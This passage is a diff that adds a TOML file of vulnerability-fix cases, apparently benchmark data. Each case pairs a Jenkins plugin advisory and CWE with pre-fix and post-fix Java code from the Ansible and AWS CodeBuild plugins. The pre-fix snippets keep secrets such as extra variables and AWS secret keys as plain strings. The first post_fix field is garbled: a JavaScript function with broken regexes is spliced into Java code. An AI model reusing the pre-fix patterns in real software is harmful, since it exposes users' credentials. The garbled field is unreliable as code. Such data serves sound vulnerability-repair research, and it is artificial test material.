+post_fix = " function clean_data(data, text) {\n if (data === '') {\n return text;\n } else {\n return data.replace(/]/g, ']')\n .replace(/>/g, '>')\n .replace(//g, '>').replace(//g, '>')\n .replace(//g, '>').replace(//g, '>')\n .replace(//g, '>').replace(/ convertExtraVars(Map extraVars) {\n if (extraVars == null) {\n return null;\n }\n List extraVarList = new ArrayList();\n for (Map.Entry entry: extraVars.entrySet()) {\n ExtraVar var = new ExtraVar();\n var.setKey(entry.getKey());\n Object o = entry.getValue();\n if (o instanceof Map) {\n var.setSecretValue((Secret)((Map)o).get(\"value\"));\n var.setHidden((Boolean)((Map)o).get(\"hidden\"));\n } else {\n var.setSecretValue((Secret)o);\n var.setHidden(false);\n }\n extraVarList.add(var);\n }\n return extraVarList;\n }\n\n @Override"
+pre_fix = " private List convertExtraVars(Map extraVars) {\n if (extraVars == null) {\n return null;\n }\n List extraVarList = new ArrayList();\n for (Map.Entry entry: extraVars.entrySet()) {\n ExtraVar var = new ExtraVar();\n var.setKey(entry.getKey());\n Object o = entry.getValue();\n if (o instanceof Map) {\n var.setValue(((Map)o).get(\"value\").toString());\n var.setHidden((Boolean)((Map)o).get(\"hidden\"));\n } else {\n var.setValue(o.toString());\n var.setHidden(false);\n }\n extraVarList.add(var);\n }\n return extraVarList;\n }\n\n @Override"
+repo = "jenkinsci/ansible-plugin"
+url = "https://github.com/jenkinsci/ansible-plugin.git"
+
+[[case]]
+advisory = "GHSA-38hw-368m-7jmg"
+advisory_text = "Jenkins Ansible Plugin stores and displays secrets in plain text\n\nJenkins Ansible Plugin allows the specification of extra variables that can be passed to Ansible. These extra variables are commonly used to pass secrets.\n\nAnsible Plugin 204.v8191fd551eb_f and earlier stores these extra variables unencrypted in job config.xml files on the Jenkins controller as part of its configuration.\n\nThese extra variables can be viewed by users with Item/Extended Read permission or access to the Jenkins controller file system.\n\nAdditionally, the job configuration form does not mask these extra variables, increasing the potential for attackers to observe and capture them.\n\nAnsible Plugin 205.v4cb_c48657c21 masks extra variables displayed on the configuration form, and stores them encrypted once job configurations are saved again."
+commit = "4cbc48657c21a65a917b3b3049918480198c0cfb"
+cwe = "CWE-311"
+family = "config_secrets"
+function = "extraVar"
+function_lines = [[15, 22]]
+id = "jenkinsci-ansible-plugin-992e550732edf17b"
+language = "java"
+method = "fix_site"
+parent = "8191fd551ebf606556c730a08eb1d74426dc6257"
+path = "src/main/java/org/jenkinsci/plugins/ansible/jobdsl/context/ExtraVarsContext.java"
+post_fix = " public void extraVar(String key, String value, boolean hidden) {\n ExtraVar extraVar = new ExtraVar();\n extraVar.setKey(key);\n extraVar.setSecretValue(Secret.fromString(value));\n extraVar.setHidden(hidden);\n this.extraVars.add(extraVar);\n }\n"
+pre_fix = " public void extraVar(String key, String value, boolean hidden) {\n ExtraVar extraVar = new ExtraVar();\n extraVar.setKey(key);\n extraVar.setValue(value);\n extraVar.setHidden(hidden);\n this.extraVars.add(extraVar);\n }\n"
+repo = "jenkinsci/ansible-plugin"
+url = "https://github.com/jenkinsci/ansible-plugin.git"
+
+[[case]]
+advisory = "GHSA-38hw-368m-7jmg"
+advisory_text = "Jenkins Ansible Plugin stores and displays secrets in plain text\n\nJenkins Ansible Plugin allows the specification of extra variables that can be passed to Ansible. These extra variables are commonly used to pass secrets.\n\nAnsible Plugin 204.v8191fd551eb_f and earlier stores these extra variables unencrypted in job config.xml files on the Jenkins controller as part of its configuration.\n\nThese extra variables can be viewed by users with Item/Extended Read permission or access to the Jenkins controller file system.\n\nAdditionally, the job configuration form does not mask these extra variables, increasing the potential for attackers to observe and capture them.\n\nAnsible Plugin 205.v4cb_c48657c21 masks extra variables displayed on the configuration form, and stores them encrypted once job configurations are saved again."
+commit = "4cbc48657c21a65a917b3b3049918480198c0cfb"
+cwe = "CWE-311"
+family = "config_secrets"
+function = "appendExtraVars"
+function_lines = [[120, 139]]
+id = "jenkinsci-ansible-plugin-bfcea0679f20d5f1"
+language = "java"
+method = "fix_site"
+parent = "8191fd551ebf606556c730a08eb1d74426dc6257"
+path = "src/main/java/org/jenkinsci/plugins/ansible/AbstractAnsibleInvocation.java"
+post_fix = " public ArgumentListBuilder appendExtraVars(ArgumentListBuilder args) {\n if (extraVars != null && ! extraVars.isEmpty()) {\n for (ExtraVar var : extraVars) {\n args.add(\"-e\");\n String value = envVars.expand(var.getSecretValue().getPlainText());\n if (Pattern.compile(\"\\\\s\").matcher(value).find()) {\n value = Util.singleQuote(value);\n }\n StringBuilder sb = new StringBuilder();\n sb.append(envVars.expand(var.getKey())).append(\"=\").append(value);\n if (var.isHidden()) {\n args.addMasked(sb.toString());\n } else {\n args.add(sb.toString());\n }\n }\n }\n return args;\n }\n"
+pre_fix = " public ArgumentListBuilder appendExtraVars(ArgumentListBuilder args) {\n if (extraVars != null && ! extraVars.isEmpty()) {\n for (ExtraVar var : extraVars) {\n args.add(\"-e\");\n String value = envVars.expand(var.getValue());\n if (Pattern.compile(\"\\\\s\").matcher(value).find()) {\n value = Util.singleQuote(value);\n }\n StringBuilder sb = new StringBuilder();\n sb.append(envVars.expand(var.getKey())).append(\"=\").append(value);\n if (var.isHidden()) {\n args.addMasked(sb.toString());\n } else {\n args.add(sb.toString());\n }\n }\n }\n return args;\n }\n"
+repo = "jenkinsci/ansible-plugin"
+url = "https://github.com/jenkinsci/ansible-plugin.git"
+
+[[case]]
+advisory = "GHSA-mwg7-69hf-vqh3"
+advisory_text = "Insufficiently Protected Credentials in Jenkins AWS CodeBuild Plugin\n\nJenkins project Jenkins AWS CodeBuild Plugin version 0.26 and earlier contains a Insufficiently Protected Credentials vulnerability in AWSClientFactory.java, CodeBuilder.java that can result in Credentials Disclosure. This attack appear to be exploitable via local file access. This vulnerability appears to have been fixed in 0.27 and later."
+commit = "f5bae399c245ff6a7131ce9cca9636f5971d582c"
+cwe = "CWE-522"
+family = "config_secrets"
+function = "getCredentialsDescriptor"
+function_lines = [[184, 196]]
+id = "jenkinsci-aws-codebuild-plugin-1561c6b78bc53ad9"
+language = "java"
+method = "fix_site"
+parent = "2c6e9da16f4381944ca880220f4fa9729923c3e4"
+path = "src/main/java/AWSClientFactory.java"
+post_fix = " public String getCredentialsDescriptor() {\n if(this.credentialsDescriptor.isEmpty()) {\n if(awsAccessKey.isEmpty()) {\n return Validation.defaultChainCredentials;\n } else {\n return Validation.basicAWSCredentials;\n }\n } else {\n return credentialsDescriptor;\n }\n }\n\n}"
+pre_fix = " public String getCredentialsDescriptor() {\n if(this.credentialsDescriptor.isEmpty()) {\n if(awsAccessKey.isEmpty() || awsSecretKey.isEmpty()) {\n return Validation.defaultChainCredentials;\n } else {\n return Validation.basicAWSCredentials;\n }\n } else {\n return credentialsDescriptor;\n }\n }\n\n}"
+repo = "jenkinsci/aws-codebuild-plugin"
+url = "https://github.com/jenkinsci/aws-codebuild-plugin.git"
+
+[[case]]
+advisory = "GHSA-mwg7-69hf-vqh3"
+advisory_text = "Insufficiently Protected Credentials in Jenkins AWS CodeBuild Plugin\n\nJenkins project Jenkins AWS CodeBuild Plugin version 0.26 and earlier contains a Insufficiently Protected Credentials vulnerability in AWSClientFactory.java, CodeBuilder.java that can result in Credentials Disclosure. This attack appear to be exploitable via local file access. This vulnerability appears to have been fixed in 0.27 and later."
+commit = "f5bae399c245ff6a7131ce9cca9636f5971d582c"
+cwe = "CWE-522"
+family = "config_secrets"
+function = "readResolve"
+function_lines = [[160, 201]]
+id = "jenkinsci-aws-codebuild-plugin-3c24887c571b4cb0"
+language = "java"
+method = "fix_site"
+parent = "2c6e9da16f4381944ca880220f4fa9729923c3e4"
+path = "src/main/java/CodeBuilder.java"
+post_fix = " protected Object readResolve() {\n credentialsType = Validation.sanitize(credentialsType);\n credentialsId = Validation.sanitize(credentialsId);\n proxyHost = Validation.sanitize(proxyHost);\n proxyPort = Validation.sanitize(proxyPort);\n awsAccessKey = Validation.sanitize(awsAccessKey);\n awsSessionToken = Validation.sanitize(awsSessionToken);\n region = Validation.sanitize(region);\n projectName = Validation.sanitize(projectName);\n sourceControlType = Validation.sanitize(sourceControlType);\n sourceVersion = Validation.sanitize(sourceVersion);\n sseAlgorithm = Validation.sanitize(sseAlgorithm);\n gitCloneDepthOverride = Validation.sanitize(gitCloneDepthOverride);\n artifactTypeOverride = Validation.sanitize(artifactTypeOverride);\n artifactLocationOverride = Validation.sanitize(artifactLocationOverride);\n artifactNameOverride = Validation.sanitize(artifactNameOverride);\n artifactNamespaceOverride = Validation.sanitize(artifactNamespaceOverride);\n artifactPackagingOverride = Validation.sanitize(artifactPackagingOverride);\n artifactPathOverride = Validation.sanitize(artifactPathOverride);\n sourceTypeOverride = Validation.sanitize(sourceTypeOverride);\n sourceLocationOverride = Validation.sanitize(sourceLocationOverride);\n environmentTypeOverride = Validation.sanitize(environmentTypeOverride);\n imageOverride = Validation.sanitize(imageOverride);\n computeTypeOverride = Validation.sanitize(computeTypeOverride);\n cacheTypeOverride = Validation.sanitize(cacheTypeOverride);\n cacheLocationOverride = Validation.sanitize(cacheLocationOverride);\n certificateOverride = Validation.sanitize(certificateOverride);\n serviceRoleOverride = Validation.sanitize(serviceRoleOverride);\n envVariables = Validation.sanitize(envVariables);\n envParameters = Validation.sanitize(envParameters);\n buildSpecFile = Validation.sanitizeYAML(buildSpecFile);\n buildTimeoutOverride = Validation.sanitize(buildTimeoutOverride);\n insecureSslOverride = Validation.sanitize(insecureSslOverride);\n privilegedModeOverride = Validation.sanitize(privilegedModeOverride);\n return this;\n }\n\n /*\n * This is the Jenkins method that executes the actual build.\n */\n @Override"
+pre_fix = " protected Object readResolve() {\n credentialsType = Validation.sanitize(credentialsType);\n credentialsId = Validation.sanitize(credentialsId);\n proxyHost = Validation.sanitize(proxyHost);\n proxyPort = Validation.sanitize(proxyPort);\n awsAccessKey = Validation.sanitize(awsAccessKey);\n awsSecretKey = Validation.sanitize(awsSecretKey);\n awsSessionToken = Validation.sanitize(awsSessionToken);\n region = Validation.sanitize(region);\n projectName = Validation.sanitize(projectName);\n sourceControlType = Validation.sanitize(sourceControlType);\n sourceVersion = Validation.sanitize(sourceVersion);\n sseAlgorithm = Validation.sanitize(sseAlgorithm);\n gitCloneDepthOverride = Validation.sanitize(gitCloneDepthOverride);\n artifactTypeOverride = Validation.sanitize(artifactTypeOverride);\n artifactLocationOverride = Validation.sanitize(artifactLocationOverride);\n artifactNameOverride = Validation.sanitize(artifactNameOverride);\n artifactNamespaceOverride = Validation.sanitize(artifactNamespaceOverride);\n artifactPackagingOverride = Validation.sanitize(artifactPackagingOverride);\n artifactPathOverride = Validation.sanitize(artifactPathOverride);\n sourceTypeOverride = Validation.sanitize(sourceTypeOverride);\n sourceLocationOverride = Validation.sanitize(sourceLocationOverride);\n environmentTypeOverride = Validation.sanitize(environmentTypeOverride);\n imageOverride = Validation.sanitize(imageOverride);\n computeTypeOverride = Validation.sanitize(computeTypeOverride);\n cacheTypeOverride = Validation.sanitize(cacheTypeOverride);\n cacheLocationOverride = Validation.sanitize(cacheLocationOverride);\n certificateOverride = Validation.sanitize(certificateOverride);\n serviceRoleOverride = Validation.sanitize(serviceRoleOverride);\n envVariables = Validation.sanitize(envVariables);\n envParameters = Validation.sanitize(envParameters);\n buildSpecFile = Validation.sanitizeYAML(buildSpecFile);\n buildTimeoutOverride = Validation.sanitize(buildTimeoutOverride);\n insecureSslOverride = Validation.sanitize(insecureSslOverride);\n privilegedModeOverride = Validation.sanitize(privilegedModeOverride);\n return this;\n }\n\n /*\n * This is the Jenkins method that executes the actual build.\n */\n @Override"
+repo = "jenkinsci/aws-codebuild-plugin"
+url = "https://github.com/jenkinsci/aws-codebuild-plugin.git"
+
+[[case]]
+advisory = "GHSA-mwg7-69hf-vqh3"
+advisory_text = "Insufficiently Protected Credentials in Jenkins AWS CodeBuild Plugin\n\nJenkins project Jenkins AWS CodeBuild Plugin version 0.26 and earlier contains a Insufficiently Protected Credentials vulnerability in AWSClientFactory.java, CodeBuilder.java that can result in Credentials Disclosure. This attack appear to be exploitable via local file access. This vulnerability appears to have been fixed in 0.27 and later."
+commit = "f5bae399c245ff6a7131ce9cca9636f5971d582c"
+cwe = "CWE-522"
+family = "config_secrets"
+function = "run"
+function_lines = [[445, 469]]
+id = "jenkinsci-aws-codebuild-plugin-3d0bfc1f65a1d762"
+language = "java"
+method = "fix_site"
+parent = "2c6e9da16f4381944ca880220f4fa9729923c3e4"
+path = "src/main/java/CodeBuildStep.java"
+post_fix = " protected CodeBuildResult run() throws Exception {\n CodeBuilder builder = (CodeBuilder) new CodeBuilder(\n step.getCredentialsType(), step.getCredentialsId(),\n step.getProxyHost(), step.getProxyPort(),\n step.getAwsAccessKey(), Secret.fromString(step.getAwsSecretKey()), step.getAwsSessionToken(),\n step.getRegion(), step.getProjectName(),\n step.sourceVersion, step.sseAlgorithm, step.sourceControlType, step.gitCloneDepthOverride,\n step.artifactTypeOverride, step.artifactLocationOverride, step.artifactNameOverride,\n step.artifactNamespaceOverride, step.artifactPackagingOverride, step.artifactPathOverride,\n step.envVariables, step.envParameters, step.buildSpecFile, step.buildTimeoutOverride,\n step.sourceTypeOverride, step.sourceLocationOverride, step.environmentTypeOverride,\n step.imageOverride, step.computeTypeOverride, step.cacheTypeOverride, step.cacheLocationOverride,\n step.certificateOverride, step.serviceRoleOverride, step.insecureSslOverride, step.privilegedModeOverride\n ).readResolve();\n builder.perform(run, ws, launcher, listener);\n\n CodeBuildResult result = builder.getCodeBuildResult();\n\n if(result.getStatus().equals(CodeBuildResult.FAILURE) || result.getStatus().equals(CodeBuildResult.STOPPED)) {\n throw new CodeBuildException(result);\n }\n\n return result;\n }\n"
+pre_fix = " protected CodeBuildResult run() throws Exception {\n CodeBuilder builder = (CodeBuilder) new CodeBuilder(\n step.getCredentialsType(), step.getCredentialsId(),\n step.getProxyHost(), step.getProxyPort(),\n step.getAwsAccessKey(), step.getAwsSecretKey(), step.getAwsSessionToken(),\n step.getRegion(), step.getProjectName(),\n step.sourceVersion, step.sseAlgorithm, step.sourceControlType, step.gitCloneDepthOverride,\n step.artifactTypeOverride, step.artifactLocationOverride, step.artifactNameOverride,\n step.artifactNamespaceOverride, step.artifactPackagingOverride, step.artifactPathOverride,\n step.envVariables, step.envParameters, step.buildSpecFile, step.buildTimeoutOverride,\n step.sourceTypeOverride, step.sourceLocationOverride, step.environmentTypeOverride,\n step.imageOverride, step.computeTypeOverride, step.cacheTypeOverride, step.cacheLocationOverride,\n step.certificateOverride, step.serviceRoleOverride, step.insecureSslOverride, step.privilegedModeOverride\n ).readResolve();\n builder.perform(run, ws, launcher, listener);\n\n CodeBuildResult result = builder.getCodeBuildResult();\n\n if(result.getStatus().equals(CodeBuildResult.FAILURE) || result.getStatus().equals(CodeBuildResult.STOPPED)) {\n throw new CodeBuildException(result);\n }\n\n return result;\n }\n"
+repo = "jenkinsci/aws-codebuild-plugin"
+url = "https://github.com/jenkinsci/aws-codebuild-plugin.git"
+
+[[case]]
+advisory = "GHSA-mwg7-69hf-vqh3"
+advisory_text = "Insufficiently Protected Credentials in Jenkins AWS CodeBuild Plugin\n\nJenkins project Jenkins AWS CodeBuild Plugin version 0.26 and earlier contains a Insufficiently Protected Credentials vulnerability in AWSClientFactory.java, CodeBuilder.java that can result in Credentials Disclosure. This attack appear to be exploitable via local file access. This vulnerability appears to have been fixed in 0.27 and later."
+commit = "f5bae399c245ff6a7131ce9cca9636f5971d582c"
+cwe = "CWE-522"
+family = "config_secrets"
+function = "CodeBuilder"
+function_lines = [[113, 158]]
+id = "jenkinsci-aws-codebuild-plugin-6ad10434eea5ee64"
+language = "java"
+method = "fix_site"
+parent = "2c6e9da16f4381944ca880220f4fa9729923c3e4"
+path = "src/main/java/CodeBuilder.java"
+post_fix = " public CodeBuilder(String credentialsType, String credentialsId, String proxyHost, String proxyPort, String awsAccessKey, Secret awsSecretKey, String awsSessionToken,\n String region, String projectName, String sourceVersion, String sseAlgorithm, String sourceControlType, String gitCloneDepthOverride,\n String artifactTypeOverride, String artifactLocationOverride, String artifactNameOverride,\n String artifactNamespaceOverride, String artifactPackagingOverride, String artifactPathOverride,\n String envVariables, String envParameters, String buildSpecFile, String buildTimeoutOverride, String sourceTypeOverride,\n String sourceLocationOverride, String environmentTypeOverride, String imageOverride, String computeTypeOverride,\n String cacheTypeOverride, String cacheLocationOverride, String certificateOverride, String serviceRoleOverride,\n String insecureSslOverride, String privilegedModeOverride) {\n\n this.credentialsType = credentialsType;\n this.credentialsId = credentialsId;\n this.proxyHost = proxyHost;\n this.proxyPort = proxyPort;\n this.awsAccessKey = awsAccessKey;\n this.awsSecretKey = awsSecretKey;\n this.awsSessionToken = awsSessionToken;\n this.region = region;\n this.projectName = projectName;\n this.sourceControlType = sourceControlType;\n this.sourceVersion = sourceVersion;\n this.sseAlgorithm = sseAlgorithm;\n this.gitCloneDepthOverride = gitCloneDepthOverride;\n this.artifactTypeOverride = artifactTypeOverride;\n this.artifactLocationOverride = artifactLocationOverride;\n this.artifactNameOverride = artifactNameOverride;\n this.artifactNamespaceOverride = artifactNamespaceOverride;\n this.artifactPackagingOverride = artifactPackagingOverride;\n this.artifactPathOverride = artifactPathOverride;\n this.sourceTypeOverride = sourceTypeOverride;\n this.sourceLocationOverride = sourceLocationOverride;\n this.environmentTypeOverride = environmentTypeOverride;\n this.imageOverride = imageOverride;\n this.computeTypeOverride = computeTypeOverride;\n this.cacheTypeOverride = cacheTypeOverride;\n this.cacheLocationOverride = cacheLocationOverride;\n this.certificateOverride = certificateOverride;\n this.serviceRoleOverride = serviceRoleOverride;\n this.envVariables = envVariables;\n this.envParameters = envParameters;\n this.buildSpecFile = buildSpecFile;\n this.buildTimeoutOverride = buildTimeoutOverride;\n this.insecureSslOverride = insecureSslOverride;\n this.privilegedModeOverride = privilegedModeOverride;\n this.codeBuildResult = new CodeBuildResult();\n this.batchGetBuildsCalls = 0;\n }"
+pre_fix = " public CodeBuilder(String credentialsType, String credentialsId, String proxyHost, String proxyPort, String awsAccessKey, String awsSecretKey, String awsSessionToken,\n String region, String projectName, String sourceVersion, String sseAlgorithm, String sourceControlType, String gitCloneDepthOverride,\n String artifactTypeOverride, String artifactLocationOverride, String artifactNameOverride,\n String artifactNamespaceOverride, String artifactPackagingOverride, String artifactPathOverride,\n String envVariables, String envParameters, String buildSpecFile, String buildTimeoutOverride, String sourceTypeOverride,\n String sourceLocationOverride, String environmentTypeOverride, String imageOverride, String computeTypeOverride,\n String cacheTypeOverride, String cacheLocationOverride, String certificateOverride, String serviceRoleOverride,\n String insecureSslOverride, String privilegedModeOverride) {\n\n this.credentialsType = credentialsType;\n this.credentialsId = credentialsId;\n this.proxyHost = proxyHost;\n this.proxyPort = proxyPort;\n this.awsAccessKey = awsAccessKey;\n this.awsSecretKey = awsSecretKey;\n this.awsSessionToken = awsSessionToken;\n this.region = region;\n this.projectName = projectName;\n this.sourceControlType = sourceControlType;\n this.sourceVersion = sourceVersion;\n this.sseAlgorithm = sseAlgorithm;\n this.gitCloneDepthOverride = gitCloneDepthOverride;\n this.artifactTypeOverride = artifactTypeOverride;\n this.artifactLocationOverride = artifactLocationOverride;\n this.artifactNameOverride = artifactNameOverride;\n this.artifactNamespaceOverride = artifactNamespaceOverride;\n this.artifactPackagingOverride = artifactPackagingOverride;\n this.artifactPathOverride = artifactPathOverride;\n this.sourceTypeOverride = sourceTypeOverride;\n this.sourceLocationOverride = sourceLocationOverride;\n this.environmentTypeOverride = environmentTypeOverride;\n this.imageOverride = imageOverride;\n this.computeTypeOverride = computeTypeOverride;\n this.cacheTypeOverride = cacheTypeOverride;\n this.cacheLocationOverride = cacheLocationOverride;\n this.certificateOverride = certificateOverride;\n this.serviceRoleOverride = serviceRoleOverride;\n this.envVariables = envVariables;\n this.envParameters = envParameters;\n this.buildSpecFile = buildSpecFile;\n this.buildTimeoutOverride = buildTimeoutOverride;\n this.insecureSslOverride = insecureSslOverride;\n this.privilegedModeOverride = privilegedModeOverride;\n this.codeBuildResult = new CodeBuildResult();\n this.batchGetBuildsCalls = 0;\n }"
+repo = "jenkinsci/aws-codebuild-plugin"
+url = "https://github.com/jenkinsci/aws-codebuild-plugin.git"
+
+[[case]]
+advisory = "GHSA-mwg7-69hf-vqh3"
+advisory_text = "Insufficiently Protected Credentials in Jenkins AWS CodeBuild Plugin\n\nJenkins project Jenkins AWS CodeBuild Plugin version 0.26 and earlier contains a Insufficiently Protected Credentials vulnerability in AWSClientFactory.java, CodeBuilder.java that can result in Credentials Disclosure. This attack appear to be exploitable via local file access. This vulnerability appears to have been fixed in 0.27 and later."
+commit = "f5bae399c245ff6a7131ce9cca9636f5971d582c"
+cwe = "CWE-522"
+family = "config_secrets"
+function = "perform"
+function_lines = [[202, 477]]
+id = "jenkinsci-aws-codebuild-plugin-74b2064ce4792a4c"
+language = "java"
+method = "fix_site"
+parent = "2c6e9da16f4381944ca880220f4fa9729923c3e4"
+path = "src/main/java/CodeBuilder.java"
+post_fix = " public void perform(@Nonnull Run, ?> build, @Nonnull FilePath ws, @Nonnull Launcher launcher, @Nonnull TaskListener listener) throws InterruptedException, IOException {\n\n envVars = build.getEnvironment(listener);\n\n AWSClientFactory awsClientFactory;\n try {\n awsClientFactory = new AWSClientFactory(\n getParameterized(this.credentialsType),\n getParameterized(this.credentialsId),\n getParameterized(this.proxyHost),\n getParameterized(this.proxyPort),\n getParameterized(this.awsAccessKey),\n this.awsSecretKey,\n getParameterized(this.awsSessionToken),\n getParameterized(this.region),\n build);\n } catch (Exception e) {\n failBuild(build, listener, authorizationError, e.getMessage());\n return;\n }\n\n String projectConfigError = Validation.checkCodeBuilderConfig(this);\n if(!projectConfigError.isEmpty()) {\n failBuild(build, listener, configuredImproperlyError, projectConfigError);\n return;\n }\n\n String overridesErrorMessage = Validation.checkCodeBuilderStartBuildOverridesConfig(this);\n if(!overridesErrorMessage.isEmpty()) {\n failBuild(build, listener, configuredImproperlyError, overridesErrorMessage);\n return;\n }\n\n Collection codeBuildEnvVars = null;\n try {\n codeBuildEnvVars = mapEnvVariables(getParameterized(envVariables), EnvironmentVariableType.PLAINTEXT);\n codeBuildEnvVars.addAll(mapEnvVariables(getParameterized(envParameters), EnvironmentVariableType.PARAMETER_STORE));\n } catch(InvalidInputException e) {\n failBuild(build, listener, configuredImproperlyError, e.getMessage());\n return;\n }\n if(Validation.envVariablesHaveRestrictedPrefix(codeBuildEnvVars)) {\n failBuild(build, listener, configuredImproperlyError, envVariableNameSpaceError);\n return;\n }\n\n LoggingHelper.log(listener, awsClientFactory.getCredentialsDescriptor());\n\n final AWSCodeBuildClient cbClient;\n try {\n cbClient = awsClientFactory.getCodeBuildClient();\n } catch (Exception e) {\n failBuild(build, listener, e.getMessage(), \"\");\n return;\n }\n\n try {\n retrieveArtifactAndSourceInfo(cbClient);\n } catch (Exception e) {\n failBuild(build, listener, e.getMessage(), \"\");\n return;\n }\n\n StartBuildRequest startBuildRequest = new StartBuildRequest().withProjectName(getParameterized(projectName)).\n withGitCloneDepthOverride(generateStartBuildGitCloneDepthOverride()).\n withEnvironmentVariablesOverride(codeBuildEnvVars).withBuildspecOverride(getParameterized(buildSpecFile)).\n withTimeoutInMinutesOverride(Validation.parseInt(getParameterized(buildTimeoutOverride)));\n\n ProjectArtifacts artifactsOverride = generateStartBuildArtifactOverride();\n if(artifactsOverride != null) {\n startBuildRequest.setArtifactsOverride(artifactsOverride);\n }\n\n ProjectCache cacheOverride = generateStartBuildCacheOverride();\n if(cacheOverride != null) {\n startBuildRequest.setCacheOverride(cacheOverride);\n }\n\n if(!getParameterized(environmentTypeOverride).isEmpty()) {\n startBuildRequest.setEnvironmentTypeOverride(getParameterized(environmentTypeOverride));\n }\n\n if(!getParameterized(imageOverride).isEmpty()) {\n startBuildRequest.setImageOverride(getParameterized(imageOverride));\n }\n\n if(!getParameterized(computeTypeOverride).isEmpty()) {\n startBuildRequest.setComputeTypeOverride(getParameterized(computeTypeOverride));\n }\n\n if(!getParameterized(certificateOverride).isEmpty()) {\n startBuildRequest.setCertificateOverride(getParameterized(certificateOverride));\n }\n\n if(!getParameterized(serviceRoleOverride).isEmpty()) {\n startBuildRequest.setServiceRoleOverride(getParameterized(serviceRoleOverride));\n }\n\n if(!getParameterized(sourceTypeOverride).isEmpty()) {\n startBuildRequest.setSourceTypeOverride(getParameterized(sourceTypeOverride));\n SourceAuth auth = generateStartBuildSourceAuthOverride(getParameterized(sourceTypeOverride));\n if(auth != null) {\n startBuildRequest.setSourceAuthOverride(auth);\n }\n }\n\n if(!getParameterized(sourceLocationOverride).isEmpty()) {\n startBuildRequest.setSourceLocationOverride(getParameterized(sourceLocationOverride));\n }\n\n if(!getParameterized(insecureSslOverride).isEmpty()) {\n startBuildRequest.setInsecureSslOverride(Boolean.parseBoolean(getParameterized(insecureSslOverride)));\n }\n\n if(!getParameterized(privilegedModeOverride).isEmpty()) {\n startBuildRequest.setPrivilegedModeOverride(Boolean.parseBoolean(getParameterized(privilegedModeOverride)));\n }\n\n if(SourceControlType.JenkinsSource.toString().equals(getParameterized(sourceControlType))) {\n if(! Validation.checkSourceTypeS3(this.projectSourceType)) {\n failBuild(build, listener, invalidProjectError, \"\");\n return;\n }\n\n String sourceS3Bucket = Utils.getS3BucketFromObjectArn(this.projectSourceLocation);\n String sourceS3Key = Utils.getS3KeyFromObjectArn(this.projectSourceLocation);\n if(! Validation.checkBucketIsVersioned(sourceS3Bucket, awsClientFactory)) {\n failBuild(build, listener, notVersionsedS3BucketError, \"\");\n return;\n }\n\n S3DataManager s3DataManager = new S3DataManager(awsClientFactory.getS3Client(), sourceS3Bucket, sourceS3Key, getParameterized(sseAlgorithm));\n String uploadedSourceVersion = \"\";\n\n try {\n UploadToS3Output uploadToS3Output = s3DataManager.uploadSourceToS3(listener, ws);\n // Override source version to object version id returned by S3\n if(uploadToS3Output.getObjectVersionId() != null) {\n uploadedSourceVersion = uploadToS3Output.getObjectVersionId();\n } else {\n failBuild(build, listener, notVersionsedS3BucketError, \"\");\n return;\n }\n LoggingHelper.log(listener, \"S3 object version id for uploaded source is \" + uploadedSourceVersion);\n } catch (Exception e) {\n failBuild(build, listener, e.getMessage(), \"\");\n return;\n }\n\n startBuildRequest.setSourceVersion(uploadedSourceVersion);\n logStartBuildMessage(listener, uploadedSourceVersion);\n\n } else {\n startBuildRequest.setSourceVersion(getParameterized(sourceVersion));\n logStartBuildMessage(listener, getParameterized(sourceVersion));\n }\n\n final StartBuildResult sbResult;\n try {\n sbResult = cbClient.startBuild(startBuildRequest);\n } catch (Exception e) {\n failBuild(build, listener, e.getMessage(), \"\");\n return;\n }\n\n Build currentBuild = new Build().withBuildStatus(StatusType.IN_PROGRESS);\n String buildId = sbResult.getBuild().getId();\n LoggingHelper.log(listener, \"Build id: \" + buildId);\n LoggingHelper.log(listener, \"CodeBuild dashboard: \" + generateDashboardURL(buildId));\n\n boolean haveInitializedAction = false;\n CodeBuildAction action = null;\n CloudWatchMonitor logMonitor = null;\n\n //poll buildResult for build status until it's complete.\n do {\n try {\n List buildsForId = cbClient.batchGetBuilds(new BatchGetBuildsRequest().withIds(buildId)).getBuilds();\n\n if(buildsForId.size() != 1) {\n throw new Exception(\"Multiple builds mapped to this build id.\");\n }\n\n currentBuild = buildsForId.get(0);\n if(!haveInitializedAction) {\n logMonitor = new CloudWatchMonitor(awsClientFactory.getCloudWatchLogsClient());\n action = new CodeBuildAction(build);\n\n //only need to set these once, the others will need to be updated below as the build progresses.\n String buildARN = currentBuild.getArn();\n codeBuildResult.setBuildInformation(currentBuild.getId(), buildARN);\n BuildArtifacts artifacts = currentBuild.getArtifacts();\n codeBuildResult.setArtifactsLocation(artifacts != null ? artifacts.getLocation() : null);\n action.setBuildId(buildId);\n action.setBuildARN(buildARN);\n action.setStartTime(currentBuild.getStartTime().toString());\n\n ProjectSource source = currentBuild.getSource();\n if(source != null) {\n action.setSourceType(source.getType());\n action.setSourceLocation(source.getLocation());\n\n if(currentBuild.getSourceVersion() == null) {\n action.setSourceVersion(\"\");\n } else {\n action.setSourceVersion(currentBuild.getSourceVersion());\n }\n\n Integer depth = source.getGitCloneDepth();\n if(depth == null || depth == 0) {\n action.setGitCloneDepth(\"Full\");\n } else {\n action.setGitCloneDepth(String.valueOf(depth));\n }\n }\n\n action.setS3ArtifactURL(generateS3ArtifactURL(this.s3BucketBaseURL, artifactLocation, artifactType));\n action.setArtifactTypeOverride(getParameterized(artifactTypeOverride));\n action.setCodeBuildDashboardURL(generateDashboardURL(buildId));\n action.setS3BucketName(artifactLocation);\n action.setLogs(new ArrayList());\n\n build.addAction(action);\n haveInitializedAction = true;\n }\n\n updateDashboard(currentBuild, action, logMonitor, listener);\n Thread.sleep(getSleepTime());\n\n } catch(Exception e) {\n if(e.getClass().equals(InterruptedException.class)) {\n //Request to stop Jenkins build has been made. First make sure the build is stoppable\n List buildsForId = cbClient.batchGetBuilds(new BatchGetBuildsRequest().withIds(buildId)).getBuilds();\n currentBuild = buildsForId.get(0);\n if(!currentBuild.getCurrentPhase().equals(BuildPhaseType.COMPLETED.toString())) {\n cbClient.stopBuild(new StopBuildRequest().withId(buildId));\n //Wait for the build to actually stop\n do {\n buildsForId = cbClient.batchGetBuilds(new BatchGetBuildsRequest().withIds(buildId)).getBuilds();\n currentBuild = buildsForId.get(0);\n Thread.sleep(5000L);\n logMonitor.pollForLogs(listener);\n updateDashboard(currentBuild, action, logMonitor, listener);\n } while (!currentBuild.getCurrentPhase().equals(BuildPhaseType.COMPLETED.toString()));\n }\n if (action != null) {\n action.setJenkinsBuildSucceeds(false);\n }\n this.codeBuildResult.setStopped();\n build.setResult(Result.ABORTED);\n return;\n } else if(e.getMessage().contains(httpTimeoutMessage)) {\n 